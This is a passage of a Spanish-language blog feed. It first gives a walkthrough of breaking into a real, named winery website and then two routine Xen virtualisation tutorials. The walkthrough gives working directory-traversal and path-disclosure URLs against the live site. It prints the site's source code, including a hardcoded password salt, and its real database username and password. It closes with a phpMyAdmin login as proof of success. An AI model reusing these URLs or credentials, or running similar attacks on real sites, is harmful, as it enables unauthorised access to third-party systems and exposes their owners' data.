<div class="de2">&nbsp; &nbsp; <span class="re0">$fp</span>=<a href="http://www.php.net/fopen"><span class="kw3">fopen</span></a><span class="br0">&#40;</span><span class="st0">&quot;$f&quot;</span>, <span class="st0">&quot;r&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/fpassthru"><span class="kw3">fpassthru</span></a><span class="br0">&#40;</span><span class="re0">$fp</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Eso nos dice CLARAMENTE que el fichero esta mal programado, no tiene ningun tipo de validación ni de protección, por lo que es explotable. Continuamos con la azaña, vamos a provocar un <em>path disclosure</em> introduciendo una ruta inválida, por ejemplo:<br />
<a href="http://www.veramonte.cl/admin/download.php?path=asdfgh">http://www.veramonte.cl/admin/download.php?path=asdfgh</a><br />
Nos encontramos que php nos muestra el siguiente error:</p>
<blockquote><p><strong>Warning</strong>:  fopen(asdfg) [<a href="function.fopen">function.fopen</a>]: failed to open stream: No such file or directory in <strong>/var/www/veramonte/html/admin/download.php</strong> on line <strong>5</strong></p>
<p><strong>Warning</strong>:  fpassthru(): supplied argument is not a valid stream resource in <strong>/var/www/veramonte/html/admin/download.php</strong> on line <strong>6</strong></p></blockquote>
<p>Con esto ya tenemos el <em>full path</em> al descubierto: /var/www/veramonte/html.<br />
La cosa acá se pone divertida, descarguemonos el /etc/passwd:<br />
<a href="http://www.veramonte.cl/admin/download.php?path=../../../../../../../etc/passwd" target="_blank">http://www.veramonte.cl/admin/download.php?path=../../../../../../../etc/passwd</a><br />
Nos encontramos con la sorpresa de que el servidor está &#8220;protegido&#8221;:</p>
<p style="text-align: center;"><img class="size-full wp-image-774 aligncenter" title="veramonte-1" src="http://blog.zerial.org/wp-content/uploads/2009/08/veramonte-1.png" alt="veramonte-1" width="498" height="127" /></p>
<p>Pero no importa, aún podemos seguir jugando. Descargamos el <em>index.php</em> para saber como funciona el sitio, que ficheros incluye, a que directorios hace referencia, etc etc.</p>
<p>Lo único que podemos rescatar el index es lo siguiente (código php):</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="co1">//Conecta a BD testing</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">include</span><span class="br0">&#40;</span><span class="st0">&quot;config/conex.php&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">include</span><span class="br0">&#40;</span><span class="st0">&quot;libreria/funciones.php&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">//$conect = Conectarse();</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/session_start"><span class="kw3">session_start</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$secure</span> = <span class="st0">&#8216;%4f#.$$FUCK%%rt!89&#8242;</span>;&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw1">if</span> <span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;enviar&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$username</span> = <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;charkikan&quot;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$password</span> = <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;cazuela&quot;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$password</span>&nbsp; &nbsp; &nbsp; &nbsp;= <a href="http://www.php.net/sha1"><span class="kw3">sha1</span></a><span class="br0">&#40;</span><span class="re0">$username</span> . <a href="http://www.php.net/sha1"><span class="kw3">sha1</span></a><span class="br0">&#40;</span><span class="re0">$password</span><span class="br0">&#41;</span> . <span class="re0">$secure</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//echo $username.&quot; &#8211; &quot;.$password;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$sql_users</span> = <span class="st0">&quot;SELECT * FROM v_usuarios WHERE username = &#8216;&quot;</span>.<span class="re0">$username</span>.<span class="st0">&quot;&#8217; AND password = &#8216;&quot;</span>.<span class="re0">$password</span>.<span class="st0">&quot;&#8217;&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="co1">//echo $sql_users;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$resultado</span> = <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$sql_users</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$valor</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$resultado</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_SESSION</span><span class="br0">&#91;</span><span class="st0">&#8216;user_sitio&#8217;</span><span class="br0">&#93;</span> = <span class="st0">&quot;ON&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_SESSION</span><span class="br0">&#91;</span><span class="st0">&#8216;nombre_user_sitio&#8217;</span><span class="br0">&#93;</span> = <span class="re0">$valor</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_SESSION</span><span class="br0">&#91;</span><span class="st0">&#8216;apellido_user_sitio&#8217;</span><span class="br0">&#93;</span> = <span class="re0">$valor</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_SESSION</span><span class="br0">&#91;</span><span class="st0">&#8216;privilegio_user_sitio&#8217;</span><span class="br0">&#93;</span> = <span class="re0">$valor</span><span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&lt;script&gt;window.location=<span class="es0">\&quot;</span>admin.php<span class="es0">\&quot;</span>;&lt;/script&gt;&quot;</span>;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&lt;meta HTTP-EQUIV=<span class="es0">\&quot;</span>Refresh<span class="es0">\&quot;</span> CONTENT=<span class="es0">\&quot;</span>10;URL=index.php<span class="es0">\&quot;</span>&gt;&quot;</span>; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span>&lt;/meta&gt;</div>
</li>
</ol>
</div>
<p>La primera línea me interesó muchisimo, me descargaré ese fichero, con las esperanzas de que estén escritos los datos de conexión a la base de datos y &#8230;&#8230;. <strong>bingo!!</strong>, lo tenemos:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> Conectarse<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>!<span class="br0">&#40;</span><span class="re0">$link</span>=<a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="st0">&quot;localhost&quot;</span>,<span class="st0">&quot;veramonte&quot;</span>,<span class="st0">&quot;v3r4m0nt3&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;Error conectando a la base de datos.&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>!<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="st0">&quot;veramonte&quot;</span>,<span class="re0">$link</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;Error seleccionando la base de datos.&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">return</span> <span class="re0">$link</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Si probamos por ftp, veremos que no podemos ingresar, entonces buscamos más posibilidades. Como yo tengo un poco de imaginación, lo que se me ocurró fue ingresar en <a href="http://veramonte.cl/phpmyadmin" target="_blank">http://veramonte.cl/phpmyadmin</a>:</p>
<p><img class="aligncenter size-full wp-image-775" title="veramonte-2" src="http://blog.zerial.org/wp-content/uploads/2009/08/veramonte-2.png" alt="veramonte-2" width="458" height="185" /></p>
<p>Creo que con esto, el objetivo ya está logrado.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal%2F&amp;linkname=Explotando%20una%20vulnerabilidad%20Full%20Path%20Disclosure%2BDirectory%20Transversal" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal%2F&amp;linkname=Explotando%20una%20vulnerabilidad%20Full%20Path%20Disclosure%2BDirectory%20Transversal" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal%2F&amp;linkname=Explotando%20una%20vulnerabilidad%20Full%20Path%20Disclosure%2BDirectory%20Transversal" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal%2F&amp;linkname=Explotando%20una%20vulnerabilidad%20Full%20Path%20Disclosure%2BDirectory%20Transversal" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal%2F&amp;linkname=Explotando%20una%20vulnerabilidad%20Full%20Path%20Disclosure%2BDirectory%20Transversal" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal%2F&amp;linkname=Explotando%20una%20vulnerabilidad%20Full%20Path%20Disclosure%2BDirectory%20Transversal" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal%2F&amp;linkname=Explotando%20una%20vulnerabilidad%20Full%20Path%20Disclosure%2BDirectory%20Transversal" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal%2F&amp;linkname=Explotando%20una%20vulnerabilidad%20Full%20Path%20Disclosure%2BDirectory%20Transversal">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Tip: Migración de servidores a Xen</title>
		<link>http://blog.zerial.org/linux/tip-migracion-de-servidores-a-xen/</link>
		<comments>http://blog.zerial.org/linux/tip-migracion-de-servidores-a-xen/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 01:24:03 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[migracion]]></category>
		<category><![CDATA[virtualizacion]]></category>
		<category><![CDATA[vmware]]></category>
		<category><![CDATA[xen]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=756</guid>
		<description><![CDATA[Este es el segundo post del día relacionado con Xen ya que he estado jugando con Xen, hace tiempo que no probaba cosas. Este post se trata de un tip para poder mgirar cualquier servidor hacia Xen, no importa si está virtualizado con VMWare, si es una máquina fisica, Xen, etc etc, es una forma [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-758" style="margin: 2px;" title="xen_tips" src="http://blog.zerial.org/wp-content/uploads/2009/08/xen_tips.gif" alt="xen_tips" width="149" height="67" />Este es el segundo post del día relacionado con Xen ya que he estado jugando con Xen, hace tiempo que no probaba cosas. Este post se trata de un <em>tip</em> para poder mgirar cualquier servidor hacia Xen, no importa si está virtualizado con VMWare, si es una máquina fisica, Xen, etc etc, es una forma bastante sencilla que no tiene ninguna ciencia.</p>
<p><strong>La teoría</strong><br />
Copiar todos los archivos (por red) de una máquina a otra manteniendo los permisos e integridad de cada fichero.</p>
<p><strong>La práctica</strong><br />
Lo haremos en 4 sencillos pasos y haciendo uso de la herramienta <em>rsync</em></p>
<p><span id="more-756"></span></p>
<ol>
<li>Preparar nueva máquina</li>
<p>Creamos el disco usando <strong>dd</strong> y le damos formato:<br />
<code>dd if=/dev/zero of=disco.img bs=1M count=10000<br />
mkfs.ext3 disco.img</code><br />
En este caso 10 mil megas y usamos ext3.<br />
La montamos y pasamos al siguiente paso:<br />
<code>mkdir temporal &amp;amp;&amp;amp; mount -text3 -oloop disco.img temporal/</code></p>
<li>Preparar máquina remota</li>
<p>lo único que haremos será bajar los servicios para que tenga la menor carga posible (httpd, base de datos, etc etc)</p>
<li>Traslado de ficheros</li>
<p>Lo haremos con el comando <em>rsync</em>:<br />
<code>/usr/bin/rsync -a --delete --numeric-ids --relative --delete-excluded --rsh=/usr/bin/ssh root@maquina.remota:/ temporal/</code></p>
<li>Iniciar máquina nueva</li>
<p>Editamos los ficheros <em>/etc/fstab</em> para que coincidan con nuestra configuración de la máquina virtual y luego para que no tengamos conflictos con la máquina antigua, editamos tambien <em>/etc/network/interfaces</em> (o como se llame el fichero de la configuración de la red de la distribución)</p>
<p>Finalmente, desmontamos temporal/ (umount temporal/) e iniciamos la máquina y wala!!! Inicio sin problemas.</ol>
<p>Probado en Debian Lenny.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Ftip-migracion-de-servidores-a-xen%2F&amp;linkname=Tip%3A%20Migraci%C3%B3n%20de%20servidores%20a%20Xen" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Ftip-migracion-de-servidores-a-xen%2F&amp;linkname=Tip%3A%20Migraci%C3%B3n%20de%20servidores%20a%20Xen" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Ftip-migracion-de-servidores-a-xen%2F&amp;linkname=Tip%3A%20Migraci%C3%B3n%20de%20servidores%20a%20Xen" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Ftip-migracion-de-servidores-a-xen%2F&amp;linkname=Tip%3A%20Migraci%C3%B3n%20de%20servidores%20a%20Xen" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Ftip-migracion-de-servidores-a-xen%2F&amp;linkname=Tip%3A%20Migraci%C3%B3n%20de%20servidores%20a%20Xen" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Ftip-migracion-de-servidores-a-xen%2F&amp;linkname=Tip%3A%20Migraci%C3%B3n%20de%20servidores%20a%20Xen" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Ftip-migracion-de-servidores-a-xen%2F&amp;linkname=Tip%3A%20Migraci%C3%B3n%20de%20servidores%20a%20Xen" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Ftip-migracion-de-servidores-a-xen%2F&amp;linkname=Tip%3A%20Migraci%C3%B3n%20de%20servidores%20a%20Xen">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/tip-migracion-de-servidores-a-xen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Instalar CentOS con Xen en Debian</title>
		<link>http://blog.zerial.org/linux/instalar-centos-sobre-xen-con-debian-en-5-pasos/</link>
		<comments>http://blog.zerial.org/linux/instalar-centos-sobre-xen-con-debian-en-5-pasos/#comments</comments>
		<pubDate>Wed, 12 Aug 2009 20:25:51 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[centos]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[xen]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=749</guid>
		<description><![CDATA[Luego de intentar varias maneras de instalar CentOS sobre Xen y luego de varios intentos fallidos, puedo resumir todo en 5 sensillos pasos para no morir en el intento. Descargar las imágenes Descargar las siguientes imágenes (checkear si existen más nuevas): * http://mirror.centos.org/centos/5.3/os/i386/images/xen/vmlinuz * http://mirror.centos.org/centos/5.3/os/i386/images/xen/initrd.img Por ejemplo, dejemoslo en /tmp/ wget http://mirror.centos.org/centos/5.3/os/i386/images/xen/vmlinuz -O /tmp/ wget [...]]]></description>
			<content:encoded><![CDATA[<p>Luego de intentar varias maneras de instalar CentOS sobre Xen y luego de varios intentos fallidos, puedo resumir todo en 5 sensillos pasos para no morir en el intento.</p>
<ol>
<li><strong>Descargar las imágenes</strong></li>
<p>Descargar las siguientes imágenes (<em>checkear si existen más nuevas</em>):<br />
* http://mirror.centos.org/centos/5.3/os/i386/images/xen/vmlinuz<br />
* http://mirror.centos.org/centos/5.3/os/i386/images/xen/initrd.img</p>
<p>Por ejemplo, dejemoslo en /tmp/</p>
<p><code>wget http://mirror.centos.org/centos/5.3/os/i386/images/xen/vmlinuz -O /tmp/</code><br />
<code>wget http://mirror.centos.org/centos/5.3/os/i386/images/xen/initrd.img -O /tmp/</code></p>
<li><strong>Configuración de la máquina virtual</strong></li>
<p>El fichero de configuración de la máquina debe ser algo como: (//modificar según requerimientos//)</p>
<blockquote><p>kernel=&#8217;/tmp/vmlinuz&#8217;<br />
ramdisk=&#8217;/tmp/initrd.img&#8217;<br />
extra=&#8217;text&#8217;<br />
maxmem=&#8217;3072&#8242;<br />
memory=&#8217;2048&#8242;<br />
vcpus=2</p>
<p>disk=[<br />
'file:/vm/cpanel/root.img,hda,w',<br />
'file:/vm/cpanel/home.img,hdb,w',<br />
'file:/vm/cpanel/tmp_swap.img,hdc,w',<br />
]</p>
<p>name=&#8217;cpanel&#8217;<br />
vif=[ 'ip=200.55.200.126,mac=00:1B:CC:C3:B3:33,bridge=xenbr1' ]</p>
<p>on_poweroff = &#8216;destroy&#8217;<br />
on_reboot   = &#8216;restart&#8217;<br />
on_crash    = &#8216;restart&#8217;</p></blockquote>
<li><strong>Preparación de discos</strong></li>
<p><em>root</em> será nuestra partición que montaremos en /<br />
en <em>home</em> vamos a montar nuestro /home y<br />
<em>tmp_swap</em> la usaremos para montar /tmp y la swap del sistema.</p>
<p>Creamos los discos:<br />
<code>dd if=/dev/zero of=root.img bs=1M count=10240 #10Gb</code><br />
<code>dd if=/dev/zero of=home.img bs=1M count=40960 #40Gb</code><br />
<code>dd if=/dev/zero of=tmp_swap.img bs=1M count=2048 #2Gb</code></p>
<li><strong>Instalación</strong></li>
<p>Iniciamos la máquina virtual:<br />
<code>xm create -c configuration.cfg</code></p>
<p>Seguimos paso a paso la instalación y finalizamos.</p>
<li><strong>Booteo</strong></li>
<p>Para bootear debemos hacer una modificacion en el fichero de configuración de la máquina, la dejamos así:</p>
<blockquote><p>bootloader = &#8216;/usr/lib/xen-3.2-1/bin/pygrub&#8217; #El path depende de la version<br />
extra=&#8217;text&#8217;<br />
maxmem=&#8217;3072&#8242;<br />
memory=&#8217;2048&#8242;<br />
vcpus=2</p>
<p>disk=[<br />
'file:/vm/cpanel/root.img,hda,w',<br />
'file:/vm/cpanel/home.img,hdb,w',<br />
'file:/vm/cpanel/tmp_swap.img,hdc,w',<br />
]</p>
<p>name=&#8217;cpanel&#8217;<br />
vif=[ 'ip=200.55.200.126,mac=00:1B:CC:C3:B3:33,bridge=xenbr1' ]</p>
<p>on_poweroff = &#8216;destroy&#8217;<br />
on_reboot   = &#8216;restart&#8217;<br />
on_crash    = &#8216;restart&#8217;</p></blockquote>
<p>Luego iniciamos la maquina:<br />
<code>xm create configuration.cfg -c</code></ol>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Finstalar-centos-sobre-xen-con-debian-en-5-pasos%2F&amp;linkname=Instalar%20CentOS%20con%20Xen%20en%20Debian" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Finstalar-centos-sobre-xen-con-debian-en-5-pasos%2F&amp;linkname=Instalar%20CentOS%20con%20Xen%20en%20Debian" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Finstalar-centos-sobre-xen-con-debian-en-5-pasos%2F&amp;linkname=Instalar%20CentOS%20con%20Xen%20en%20Debian" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Finstalar-centos-sobre-xen-con-debian-en-5-pasos%2F&amp;linkname=Instalar%20CentOS%20con%20Xen%20en%20Debian" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Finstalar-centos-sobre-xen-con-debian-en-5-pasos%2F&amp;linkname=Instalar%20CentOS%20con%20Xen%20en%20Debian" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Finstalar-centos-sobre-xen-con-debian-en-5-pasos%2F&amp;linkname=Instalar%20CentOS%20con%20Xen%20en%20Debian" title="Digg" 